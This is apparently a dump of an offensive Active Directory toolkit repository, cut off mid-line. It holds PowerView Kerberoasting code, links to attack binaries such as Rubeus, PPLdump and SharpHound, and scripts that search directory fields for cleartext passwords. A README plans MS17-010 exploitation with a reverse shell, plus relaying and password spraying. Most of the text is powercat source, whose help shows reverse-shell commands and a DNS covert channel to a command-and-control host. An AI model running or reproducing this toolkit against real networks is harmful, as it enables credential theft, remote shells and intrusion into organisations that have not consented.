[ValidateRange(0,10000)] 1118 | [Int] 1119 | $Delay = 0, 1120 | 1121 | [ValidateRange(0.0, 1.0)] 1122 | [Double] 1123 | $Jitter = .3, 1124 | 1125 | [ValidateSet('John', 'Hashcat')] 1126 | [Alias('Format')] 1127 | [String] 1128 | $OutputFormat = 'John', 1129 | 1130 | [Management.Automation.PSCredential] 1131 | [Management.Automation.CredentialAttribute()] 1132 | $Credential = [Management.Automation.PSCredential]::Empty 1133 | ) 1134 | 1135 | BEGIN { 1136 | $UserSearcherArguments = @{ 1137 | 'SPN' = $True 1138 | 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' 1139 | } 1140 | if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } 1141 | if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } 1142 | if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase } 1143 | if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } 1144 | if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } 1145 | if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } 1146 | if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 1147 | if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } 1148 | if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } 1149 | 1150 | if ($PSBoundParameters['Credential']) { 1151 | $LogonToken = Invoke-UserImpersonation -Credential $Credential 1152 | } 1153 | } 1154 | 1155 | PROCESS { 1156 | if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } 1157 | Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter 1158 | } 1159 | 1160 | END { 1161 | if ($LogonToken) { 1162 | Invoke-RevertToSelf -TokenHandle $LogonToken 1163 | } 1164 | } 1165 | } 1166 | -------------------------------------------------------------------------------- /PPLdump.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/PPLdump.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # highway_to_hell 2 | 3 | Note: 4 | - ACL-Pwn relies on Sharphound's binary 5 | - Netview has Share finders 6 | - Password sprayin -> Attempt only 1 password! (CrackMapExec) 7 | - If possible do Nessus scan 8 | 9 | Missing: 10 | 11 | - Nmap -> MS17-010 12 | - MS17-010 exploit needs to be changed with proper exploitation e.g. run powershell netcat reverse shell 13 | - Impacket for SMB Relaying 14 | - Search shares for embedded passwords in scripts 15 | - Responder 16 | 17 | 18 | TODO: 19 | - Ensure that the Pentesting host has CrackMapExec https://github.com/byt3bl33d3r/CrackMapExec 20 | -------------------------------------------------------------------------------- /Raw-Ldap: -------------------------------------------------------------------------------- 1 | # User member of 2 | $username = 'slpa' 3 | (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($username)))")).FindOne().GetDirectoryEntry().memberOf | % { (New-Object System.DirectoryServices.DirectoryEntry("LDAP://"+$_)) } | Sort-Object sAMAccountName | SELECT @{name="Group Name";expression={$_.Name}},@{name="Group sAMAccountName";expression={$_.sAMAccountName}} 4 | 5 | 6 | ## List Members in a Group 7 | $groupname = 'GroupNameHere' 8 | (New-Object System.DirectoryServices.DirectoryEntry((New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=Group)(name=$($groupname)))")).FindOne().GetDirectoryEntry().Path)).member | % { (New-Object System.DirectoryServices.DirectoryEntry("LDAP://"+$_)) } | Sort-Object sAMAccountName | SELECT @{name="User Name";expression={$_.Name}},@{name="User sAMAccountName";expression={$_.sAMAccountName}} 9 | -------------------------------------------------------------------------------- /Rubeus.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/Rubeus.exe -------------------------------------------------------------------------------- /Rubeus3-5.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/Rubeus3-5.exe -------------------------------------------------------------------------------- /SearchGroup.ps1: -------------------------------------------------------------------------------- 1 | param( 2 | [string] $Domain 3 | ) 4 | 5 | Function SearchGroupClearTextInformation 6 | { 7 | Param ( 8 | [Parameter(Mandatory=$true)] 9 | [Array] $Terms, 10 | 11 | [Parameter(Mandatory=$false)] 12 | [String] $Domain 13 | ) 14 | 15 | if ([string]::IsNullOrEmpty($Domain)) { 16 | $dc = (Get-ADDomain).RIDMaster 17 | } else { 18 | $dc = (Get-ADDomain $Domain).RIDMaster 19 | } 20 | 21 | $list = @() 22 | 23 | foreach ($t in $Terms) 24 | { 25 | $list += "(`$_.Description -like `"*$t*`")" 26 | $list += "(`$_.Info -like `"*$t*`")" 27 | } 28 | 29 | Get-ADGroup -Filter * -Server $dc -Properties Description,Info | 30 | Where { Invoke-Expression ($list -join ' -OR ') } | 31 | Select SamAccountName,Description,Info | 32 | fl 33 | } 34 | 35 | SearchGroupClearTextInformation -Terms @("pwd", "pass", "pw", "kodeord") @PSBoundParameters 36 | -------------------------------------------------------------------------------- /SearchUser.ps1: -------------------------------------------------------------------------------- 1 | param( 2 | [string] $Domain 3 | ) 4 | 5 | Function SearchUserClearTextInformation 6 | { 7 | Param ( 8 | [Parameter(Mandatory=$true)] 9 | [Array] $Terms, 10 | 11 | [Parameter(Mandatory=$false)] 12 | [String] $Domain 13 | ) 14 | 15 | if ([string]::IsNullOrEmpty($Domain)) { 16 | $dc = (Get-ADDomain).RIDMaster 17 | } else { 18 | $dc = (Get-ADDomain $Domain).RIDMaster 19 | } 20 | 21 | $list = @() 22 | 23 | foreach ($t in $Terms) 24 | { 25 | $list += "(`$_.Description -like `"*$t*`")" 26 | $list += "(`$_.Info -like `"*$t*`")" 27 | } 28 | 29 | Get-ADUser -Filter * -Server $dc -Properties Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet | 30 | Where { Invoke-Expression ($list -join ' -OR ') } | 31 | Select SamAccountName,Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet | 32 | fl 33 | } 34 | 35 | SearchUserClearTextInformation -Terms @("pwd", "pass", "pw", "kodeord") @PSBoundParameters 36 | -------------------------------------------------------------------------------- /Seatbelt3-5.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/Seatbelt3-5.exe -------------------------------------------------------------------------------- /Seatbelt4-5.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/Seatbelt4-5.exe -------------------------------------------------------------------------------- /SharpHound.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/SharpHound.exe -------------------------------------------------------------------------------- /SpoolSample.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/SpoolSample.exe -------------------------------------------------------------------------------- /Watson.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/Watson.exe -------------------------------------------------------------------------------- /Whisker.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/Whisker.exe -------------------------------------------------------------------------------- /powercat.ps1: -------------------------------------------------------------------------------- 1 | function powercat 2 | { 3 | param( 4 | [alias("Client")][string]$c="", 5 | [alias("Listen")][switch]$l=$False, 6 | [alias("Port")][Parameter(Position=-1)][string]$p="", 7 | [alias("Execute")][string]$e="", 8 | [alias("ExecutePowershell")][switch]$ep=$False, 9 | [alias("Relay")][string]$r="", 10 | [alias("UDP")][switch]$u=$False, 11 | [alias("dnscat2")][string]$dns="", 12 | [alias("DNSFailureThreshold")][int32]$dnsft=10, 13 | [alias("Timeout")][int32]$t=60, 14 | [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null, 15 | [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host", 16 | [alias("OutputFile")][string]$of="", 17 | [alias("Disconnect")][switch]$d=$False, 18 | [alias("Repeater")][switch]$rep=$False, 19 | [alias("GeneratePayload")][switch]$g=$False, 20 | [alias("GenerateEncoded")][switch]$ge=$False, 21 | [alias("Help")][switch]$h=$False 22 | ) 23 | 24 | ############### HELP ############### 25 | $Help = " 26 | powercat - Netcat, The Powershell Version 27 | Github Repository: https://github.com/besimorhino/powercat 28 | 29 | This script attempts to implement the features of netcat in a powershell 30 | script. It also contains extra features such as built-in relays, execute 31 | powershell, and a dnscat2 client. 32 | 33 | Usage: powercat [-c or -l] [-p port] [options] 34 | 35 | -c Client Mode. Provide the IP of the system you wish to connect to. 36 | If you are using -dns, specify the DNS Server to send queries to. 37 | 38 | -l Listen Mode. Start a listener on the port specified by -p. 39 | 40 | -p Port. The port to connect to, or the port to listen on. 41 | 42 | -e Execute. Specify the name of the process to start. 43 | 44 | -ep Execute Powershell. Start a pseudo powershell session. You can 45 | declare variables and execute commands, but if you try to enter 46 | another shell (nslookup, netsh, cmd, etc.) the shell will hang. 47 | 48 | -r Relay. Used for relaying network traffic between two nodes. 49 | Client Relay Format: -r :: 50 | Listener Relay Format: -r : 51 | DNSCat2 Relay Format: -r dns::: 52 | 53 | -u UDP Mode. Send traffic over UDP. Because it's UDP, the client 54 | must send data before the server can respond. 55 | 56 | -dns DNS Mode. Send traffic over the dnscat2 dns covert channel. 57 | Specify the dns server to -c, the dns port to -p, and specify the 58 | domain to this option, -dns. This is only a client. 59 | Get the server here: https://github.com/iagox86/dnscat2 60 | 61 | -dnsft DNS Failure Threshold. This is how many bad packets the client can 62 | recieve before exiting. Set to zero when receiving files, and set high 63 | for more stability over the internet. 64 | 65 | -t Timeout. The number of seconds to wait before giving up on listening or 66 | connecting. Default: 60 67 | 68 | -i Input. Provide data to be sent down the pipe as soon as a connection is 69 | established. Used for moving files. You can provide the path to a file, 70 | a byte array object, or a string. You can also pipe any of those into 71 | powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80 72 | 73 | -o Output. Specify how powercat should return information to the console. 74 | Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'. 75 | 76 | -of Output File. Specify the path to a file to write output to. 77 | 78 | -d Disconnect. powercat will disconnect after the connection is established 79 | and the input from -i is sent. Used for scanning. 80 | 81 | -rep Repeater. powercat will continually restart after it is disconnected. 82 | Used for setting up a persistent server. 83 | 84 | -g Generate Payload. Returns a script as a string which will execute the 85 | powercat with the options you have specified. -i, -d, and -rep will not 86 | be incorporated. 87 | 88 | -ge Generate Encoded Payload. Does the same as -g, but returns a string which 89 | can be executed in this way: powershell -E 90 | 91 | -h Print this help message. 92 | 93 | Examples: 94 | 95 | Listen on port 8000 and print the output to the console. 96 | powercat -l -p 8000 97 | 98 | Connect to 10.1.1.1 port 443, send a shell, and enable verbosity. 99 | powercat -c 10.1.1.1 -p 443 -e cmd -v 100 | 101 | Connect to the dnscat2 server on c2.example.com, and send dns queries 102 | to the dns server on 10.1.1.1 port 53. 103 | powercat -c 10.1.1.1 -p 53 -dns c2.example.com 104 | 105 | Send a file to 10.1.1.15 port 8000. 106 | powercat -c 10.1.1.15 -p 8000 -i C:\inputfile 107 | 108 | Write the data sent to the local listener on port 4444 to C:\outfile 109 | powercat -l -p 4444 -of C:\outfile 110 | 111 | Listen on port 8000 and repeatedly server a powershell shell. 112 | powercat -l -p 8000 -ep -rep 113 | 114 | Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp. 115 | powercat -l -p 8000 -r tcp:10.1.1.1:9000 116 | 117 | Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com, 118 | sending queries to 10.1.1.1 port 53. 119 | powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 120 | " 121 | if($h){return $Help} 122 | ############### HELP ############### 123 | 124 | ############### VALIDATE ARGS ############### 125 | $global:Verbose = $Verbose 126 | if($of -ne ''){$o = 'Bytes'} 127 | if($dns -eq "") 128 | { 129 | if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."} 130 | if($p -eq ""){return "Please provide a port number to -p."} 131 | } 132 | if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"} 133 | if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."} 134 | if($l) 135 | { 136 | $Failure = $False 137 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}} 138 | if($Failure){break} 139 | } 140 | if($r -ne "") 141 | { 142 | if($r.split(":").Count -eq 2) 143 | { 144 | $Failure = $False 145 | netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}} 146 | if($Failure){break} 147 | } 148 | } 149 | ############### VALIDATE ARGS ############### 150 | 151 | ############### UDP FUNCTIONS ############### 152 | function Setup_UDP 153 | { 154 | param($FuncSetupVars) 155 | if($global:Verbose){$Verbose = $True} 156 | $c,$l,$p,$t = $FuncSetupVars 157 | $FuncVars = @{} 158 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 159 | if($l) 160 | { 161 | $SocketDestinationBuffer = New-Object System.Byte[] 65536 162 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p 163 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p 164 | $PacketInfo = New-Object System.Net.Sockets.IPPacketInformation 165 | Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]") 166 | $ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null) 167 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 168 | while($True) 169 | { 170 | if($Host.UI.RawUI.KeyAvailable) 171 | { 172 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode)) 173 | { 174 | Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..." 175 | $FuncVars["Socket"].Close() 176 | $Stopwatch.Stop() 177 | break 178 | } 179 | } 180 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 181 | { 182 | $FuncVars["Socket"].Close() 183 | $Stopwatch.Stop() 184 | Write-Verbose "Timeout!" ; break 185 | } 186 | if($ConnectHandle.IsCompleted) 187 | { 188 | $SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo) 189 | Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")") 190 | if($SocketBytesRead -gt 0){break} 191 | else{break} 192 | } 193 | } 194 | $Stopwatch.Stop() 195 | $FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)] 196 | } 197 | else 198 | { 199 | if(!$c.Contains(".")) 200 | { 201 | $IPList = @() 202 | [System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString} 203 | Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0]) 204 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p 205 | } 206 | else 207 | { 208 | $EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p 209 | } 210 | $FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient 211 | $FuncVars["Socket"].Connect($c,$p) 212 | Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...") 213 | Write-Verbose ("UDP: Make sure to send some data so the server can notice you!") 214 | } 215 | $FuncVars["BufferSize"] = 65536 216 | $FuncVars["EndPoint"] = $EndPoint 217 | $FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"] 218 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 219 | return $FuncVars 220 | } 221 | function ReadData_UDP 222 | { 223 | param($FuncVars) 224 | $Data = $null 225 | if($FuncVars["StreamReadOperation"].IsCompleted) 226 | { 227 | $StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"]) 228 | if($StreamBytesRead -eq 0){break} 229 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 230 | $FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null) 231 | } 232 | return $Data,$FuncVars 233 | } 234 | function WriteData_UDP 235 | { 236 | param($Data,$FuncVars) 237 | $FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null 238 | return $FuncVars 239 | } 240 | function Close_UDP 241 | { 242 | param($FuncVars) 243 | $FuncVars["Socket"].Close() 244 | } 245 | ############### UDP FUNCTIONS ############### 246 | 247 | ############### DNS FUNCTIONS ############### 248 | function Setup_DNS 249 | { 250 | param($FuncSetupVars) 251 | if($global:Verbose){$Verbose = $True} 252 | function ConvertTo-HexArray 253 | { 254 | param($String) 255 | $Hex = @() 256 | $String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_} 257 | return $Hex 258 | } 259 | 260 | function SendPacket 261 | { 262 | param($Packet,$DNSServer,$DNSPort) 263 | $Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit") 264 | $result = ($Command | nslookup 2>&1 | Out-String) 265 | if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)} 266 | else{return 1} 267 | } 268 | 269 | function Create_SYN 270 | { 271 | param($SessionId,$SeqNum,$Tag,$Domain) 272 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain) 273 | } 274 | 275 | function Create_FIN 276 | { 277 | param($SessionId,$Tag,$Domain) 278 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain) 279 | } 280 | 281 | function Create_MSG 282 | { 283 | param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain) 284 | return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain) 285 | } 286 | 287 | function DecodePacket 288 | { 289 | param($Packet) 290 | 291 | if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1} 292 | $AcknowledgementNumber = ($Packet[10..13] -join "") 293 | $SeqNum = ($Packet[14..17] -join "") 294 | [byte[]]$ReturningData = @() 295 | 296 | if($Packet.Length -gt 18) 297 | { 298 | $PacketElim = $Packet.Substring(18) 299 | while($PacketElim.Length -gt 0) 300 | { 301 | $ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16) 302 | $PacketElim = $PacketElim.Substring(2) 303 | } 304 | } 305 | 306 | return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum 307 | } 308 | 309 | function AcknowledgeData 310 | { 311 | param($ReturningData,$AcknowledgementNumber) 312 | $Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535)) 313 | if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)} 314 | return $Hex 315 | } 316 | $FuncVars = @{} 317 | $FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars 318 | if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"} 319 | $FuncVars["Tag"] = "" 320 | $FuncVars["Domain"] = ("." + $FuncVars["Domain"]) 321 | 322 | $FuncVars["Create_SYN"] = ${function:Create_SYN} 323 | $FuncVars["Create_MSG"] = ${function:Create_MSG} 324 | $FuncVars["Create_FIN"] = ${function:Create_FIN} 325 | $FuncVars["DecodePacket"] = ${function:DecodePacket} 326 | $FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray} 327 | $FuncVars["AckData"] = ${function:AcknowledgeData} 328 | $FuncVars["SendPacket"] = ${function:SendPacket} 329 | $FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 330 | $FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000)) 331 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 332 | $FuncVars["Failures"] = 0 333 | 334 | $SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"])) 335 | $ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"])) 336 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket)) 337 | if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."} 338 | $ReturningData = $DecodedPacket[1] 339 | if($ReturningData -ne ""){$FuncVars["InputData"] = ""} 340 | $FuncVars["AckNum"] = $DecodedPacket[2] 341 | $FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length) 342 | if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."} 343 | return $FuncVars 344 | } 345 | function ReadData_DNS 346 | { 347 | param($FuncVars) 348 | if($global:Verbose){$Verbose = $True} 349 | 350 | $PacketsData = @() 351 | $PacketData = "" 352 | 353 | if($FuncVars["InputData"] -ne $null) 354 | { 355 | $Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"])) 356 | $SectionCount = 0 357 | $PacketCount = 0 358 | foreach($Char in $Hex) 359 | { 360 | if($SectionCount -ge 30) 361 | { 362 | $SectionCount = 0 363 | $PacketData += "." 364 | } 365 | if($PacketCount -ge ($FuncVars["MaxMSGDataSize"])) 366 | { 367 | $PacketsData += $PacketData.TrimEnd(".") 368 | $PacketCount = 0 369 | $SectionCount = 0 370 | $PacketData = "" 371 | } 372 | $PacketData += $Char 373 | $SectionCount += 2 374 | $PacketCount += 2 375 | } 376 | $PacketData = $PacketData.TrimEnd(".") 377 | $PacketsData += $PacketData 378 | $FuncVars["InputData"] = "" 379 | } 380 | else 381 | { 382 | $PacketsData = @("") 383 | } 384 | 385 | [byte[]]$ReturningData = @() 386 | foreach($PacketData in $PacketsData) 387 | { 388 | try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])} 389 | catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue } 390 | try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))} 391 | catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue } 392 | try 393 | { 394 | $DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet)) 395 | if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue } 396 | $FuncVars["AckNum"] = $DecodedPacket[2] 397 | $FuncVars["SeqNum"] = $DecodedPacket[3] 398 | $ReturningData += $DecodedPacket[1] 399 | } 400 | catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 401 | if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue } 402 | } 403 | 404 | if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break} 405 | 406 | if($ReturningData -ne @()) 407 | { 408 | $FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"])) 409 | } 410 | return $ReturningData,$FuncVars 411 | } 412 | function WriteData_DNS 413 | { 414 | param($Data,$FuncVars) 415 | $FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data) 416 | return $FuncVars 417 | } 418 | function Close_DNS 419 | { 420 | param($FuncVars) 421 | $FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"]) 422 | Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null 423 | } 424 | ############### DNS FUNCTIONS ############### 425 | 426 | ########## TCP FUNCTIONS ########## 427 | function Setup_TCP 428 | { 429 | param($FuncSetupVars) 430 | $c,$l,$p,$t = $FuncSetupVars 431 | if($global:Verbose){$Verbose = $True} 432 | $FuncVars = @{} 433 | if(!$l) 434 | { 435 | $FuncVars["l"] = $False 436 | $Socket = New-Object System.Net.Sockets.TcpClient 437 | Write-Verbose "Connecting..." 438 | $Handle = $Socket.BeginConnect($c,$p,$null,$null) 439 | } 440 | else 441 | { 442 | $FuncVars["l"] = $True 443 | Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")") 444 | $Socket = New-Object System.Net.Sockets.TcpListener $p 445 | $Socket.Start() 446 | $Handle = $Socket.BeginAcceptTcpClient($null, $null) 447 | } 448 | 449 | $Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 450 | while($True) 451 | { 452 | if($Host.UI.RawUI.KeyAvailable) 453 | { 454 | if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode)) 455 | { 456 | Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..." 457 | if($FuncVars["l"]){$Socket.Stop()} 458 | else{$Socket.Close()} 459 | $Stopwatch.Stop() 460 | break 461 | } 462 | } 463 | if($Stopwatch.Elapsed.TotalSeconds -gt $t) 464 | { 465 | if(!$l){$Socket.Close()} 466 | else{$Socket.Stop()} 467 | $Stopwatch.Stop() 468 | Write-Verbose "Timeout!" ; break 469 | break 470 | } 471 | if($Handle.IsCompleted) 472 | { 473 | if(!$l) 474 | { 475 | try 476 | { 477 | $Socket.EndConnect($Handle) 478 | $Stream = $Socket.GetStream() 479 | $BufferSize = $Socket.ReceiveBufferSize 480 | Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!") 481 | } 482 | catch{$Socket.Close(); $Stopwatch.Stop(); break} 483 | } 484 | else 485 | { 486 | $Client = $Socket.EndAcceptTcpClient($Handle) 487 | $Stream = $Client.GetStream() 488 | $BufferSize = $Client.ReceiveBufferSize 489 | Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")") 490 | } 491 | break 492 | } 493 | } 494 | $Stopwatch.Stop() 495 | if($Socket -eq $null){break} 496 | $FuncVars["Stream"] = $Stream 497 | $FuncVars["Socket"] = $Socket 498 | $FuncVars["BufferSize"] = $BufferSize 499 | $FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"]) 500 | $FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null) 501 | $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding 502 | $FuncVars["StreamBytesRead"] = 1 503 | return $FuncVars 504 | } 505 | function ReadData_TCP 506 | { 507 | param($FuncVars) 508 | $Data = $null 509 | if($FuncVars["StreamBytesRead"] -eq 0){break} 510 | if($FuncVars["StreamReadOperation"].IsCompleted) 511 | { 512 | $StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"]) 513 | if($StreamBytesRead -eq 0){break} 514 | $Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)] 515 | $FuncVars["StreamReadOperation"] = 